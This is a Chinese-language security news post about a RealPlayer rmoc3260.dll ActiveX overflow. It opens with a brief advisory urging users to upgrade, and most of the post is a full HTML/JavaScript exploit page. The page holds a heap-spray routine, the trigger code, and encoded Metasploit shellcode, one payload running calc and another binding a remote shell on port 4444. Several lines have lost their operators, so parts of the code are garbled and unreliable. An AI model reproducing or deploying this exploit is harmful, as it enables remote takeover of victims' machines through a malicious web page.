RealPlayer又曝新漏洞 _漏洞分析

realplayer的漏洞问题越来越严重，milworm在昨天再次发布了一个real player 控件溢出漏洞。在环境 windows xp sp2(fully patched) english, ie6测试成功运行calc。
该漏洞存在于rmoc3260.dll，并且只有 version 6.0.10.45可以被成功执行漏洞攻击。

在最新版本以及旧版本没有办法成功执行该漏洞。该dll版本对应的real版本号为：6.0.14.748。请使用6.0.14.748版本的用户尽快安装新版本。

发布日期:2008-4-2
最后更新日期:2008-4-2 12:37（gmt）

real又报新洞。。。漏洞组件rmoc3260.dll版本6.0.10.45

程序代码

<html>
<head>
<title>real player rmoc3260.dll activex control remote code execution exploit</title>
<script language="javascript" defer>
function check() {

// win32_exec - exitfunc=seh cmd=c:\windows\system32\calc.exe size=378 encoder=alpha2 http://metasploit.com
var shellcode1 = unescape("%u03eb%ueb59%ue805%ufff8%uffff%u4949%u4949%u4949"
"%u4948%u4949%u4949%u4949%u4949%u4949%u5a51%u436a"
"%u3058%u3142%u4250%u6b41%u4142%u4253%u4232%u3241"
"%u4141%u4130%u5841%u3850%u4242%u4875%u6b69%u4d4c"
"%u6338%u7574%u3350%u6730%u4c70%u734b%u5775%u6e4c"
"%u636b%u454c%u6355%u3348%u5831%u6c6f%u704b%u774f"
"%u6e68%u736b%u716f%u6530%u6a51%u724b%u4e69%u366b"
"%u4e54%u456b%u4a51%u464e%u6b51%u4f70%u4c69%u6e6c"
"%u5964%u7350%u5344%u5837%u7a41%u546a%u334d%u7831"
"%u4842%u7a6b%u7754%u524b%u6674%u3444%u6244%u5955"
"%u6e75%u416b%u364f%u4544%u6a51%u534b%u4c56%u464b"
"%u726c%u4c6b%u534b%u376f%u636c%u6a31%u4e4b%u756b"
"%u6c4c%u544b%u4841%u4d6b%u5159%u514c%u3434%u4a44"
"%u3063%u6f31%u6230%u4e44%u716b%u5450%u4b70%u6b35"
"%u5070%u4678%u6c6c%u634b%u4470%u4c4c%u444b%u3530"
"%u6e4c%u6c4d%u614b%u5578%u6a58%u644b%u4e49%u6b6b"
"%u6c30%u5770%u5770%u4770%u4c70%u704b%u4768%u714c"
"%u444f%u6b71%u3346%u6650%u4f36%u4c79%u6e38%u4f63"
"%u7130%u306b%u4150%u5878%u6c70%u534a%u5134%u334f"
"%u4e58%u3978%u6d6e%u465a%u616e%u4b47%u694f%u6377"
"%u4553%u336a%u726c%u3057%u5069%u626e%u7044%u736f"
"%u4147%u4163%u504c%u4273%u3159%u5063%u6574%u7035"
"%u546d%u6573%u3362%u306c%u4163%u7071%u536c%u6653"
"%u314e%u7475%u7038%u7765%u4370");

// win32_bind - exitfunc=seh lport=4444 size=696 encoder=alpha2 http://metasploit.com
var shellcode2 = unescape("%u03eb%ueb59%ue805%ufff8%uffff%u4949%u4949%u4949"
"%u4949%u4949%u4949%u4949%u4949%u4937%u5a51%u436a"
"%u3058%u3142%u4150%u6b42%u4141%u4153%u4132%u3241"
"%u4142%u4230%u5841%u3850%u4241%u7875%u4b69%u724c"
"%u584a%u526b%u4a6d%u4a48%u6b59%u6b4f%u694f%u416f"
"%u4e70%u526b%u744c%u4164%u6e34%u376b%u5535%u4c6c"
"%u714b%u646c%u6145%u7468%u6a41%u6e4f%u626b%u326f"
"%u6c38%u334b%u376f%u5550%u7851%u316b%u6c59%u504b"
"%u6e34%u466b%u6861%u456e%u6f61%u6c30%u6c59%u6b6c"
"%u3934%u4150%u3764%u6877%u6941%u565a%u636d%u4b31"
"%u7872%u6c6b%u7534%u566b%u3134%u5734%u5458%u6b35"
"%u6e55%u336b%u556f%u7474%u7841%u416b%u4c76%u464b"
"%u626c%u6e6b%u416b%u354f%u564c%u6861%u666b%u3663"
"%u6c4c%u6b4b%u7239%u444c%u5764%u616c%u4f71%u4733"
"%u6b41%u336b%u4c54%u634b%u7073%u6c30%u534b%u6470"
"%u6c4c%u724b%u4550%u4e4c%u6c4d%u374b%u7530%u7358"
"%u426e%u4c48%u524e%u466e%u586e%u566c%u3930%u586f"
"%u7156%u4676%u7233%u6346%u3058%u7033%u3332%u5458"
"%u5237%u4553%u5162%u504f%u4b54%u5a4f%u3370%u6a58"
"%u686b%u596d%u456c%u466b%u4930%u596f%u7346%u4e6f"
"%u5869%u7365%u4d56%u5851%u366d%u6468%u7242%u7275"
"%u674a%u5972%u6e6f%u7230%u4a48%u5679%u6b69%u6e45"
"%u764d%u6b37%u584f%u3356%u3063%u5053%u7653%u7033"
"%u3353%u5373%u3763%u5633%u6b33%u5a4f%u3270%u5046"
"%u3568%u7141%u304c%u3366%u6c63%u6d49%u6a31%u7035"
"%u6e68%u3544%u524a%u4b50%u7177%u4b47%u4e4f%u3036"
"%u526a%u3130%u7041%u5955%u6e6f%u3030%u6c68%u4c64"
"%u546d%u796e%u3179%u5947%u596f%u4646%u6633%u6b35"
"%u584f%u6350%u4b58%u7355%u4c79%u4146%u6359%u4b67"
"%u784f%u7656%u5330%u4164%u3344%u7965%u4e6f%u4e30"
"%u7173%u5878%u6167%u6969%u7156%u6269%u3977%u6a6f"
"%u5176%u4945%u4e6f%u5130%u5376%u715a%u7274%u6246"
"%u3048%u3063%u6c6d%u5a49%u6345%u625a%u7670%u3139"
"%u5839%u4e4c%u4d69%u5337%u335a%u4e74%u4b69%u5652"
"%u4b51%u6c70%u6f33%u495a%u336e%u4472%u6b6d%u374e"
"%u7632%u6e4c%u6c73%u704d%u767a%u6c58%u4e6b%u4c4b"
"%u736b%u5358%u7942%u6d6e%u7463%u6b56%u304f%u7075"
"%u4b44%u794f%u5346%u706b%u7057%u7152%u5041%u4251"
"%u4171%u337a%u4231%u4171%u5141%u6645%u6931%u5a6f"
"%u5070%u6e68%u5a4d%u5679%u6865%u334e%u3963%u586f"
"%u6356%u4b5a%u4b4f%u704f%u4b37%u4a4f%u4c70%u614b"
"%u6b47%u4d4c%u6b53%u3174%u4974%u596f%u7046%u5952"
"%u4e6f%u6330%u6c58%u6f30%u577a%u6174%u324f%u4b73"
"%u684f%u3956%u386f%u4350");

var bigblock = unescape("%u0c0c%u0c0c");
var headersize = 20;
var slackspace = headersize shellcode1.length;
while (bigblock.length < slackspace) bigblock = bigblock;
var fillblock = bigblock.substring(0,slackspace);
var block = bigblock.substring(0,bigblock.length - slackspace);
while (block.length slackspace < 0x40000) block = block block fillblock;

var memory = new array();
for (i = 0; i < 400; i ){ memory[i] = block shellcode1 }

var buf = '';
while (buf.length < 32) buf = buf unescape("");

var m = '';

m = obj.console;
obj.console = buf;
obj.console = m;

m = obj.console;
obj.console = buf;
obj.console = m;

}

</script>

</head>
<body onload="javascript: return check();">
<object classid="clsid:2f542a2e-edc9-4bf7-8cb1-87c9919f7f93" id="obj">
unable to create object
</object>

</body>
</html>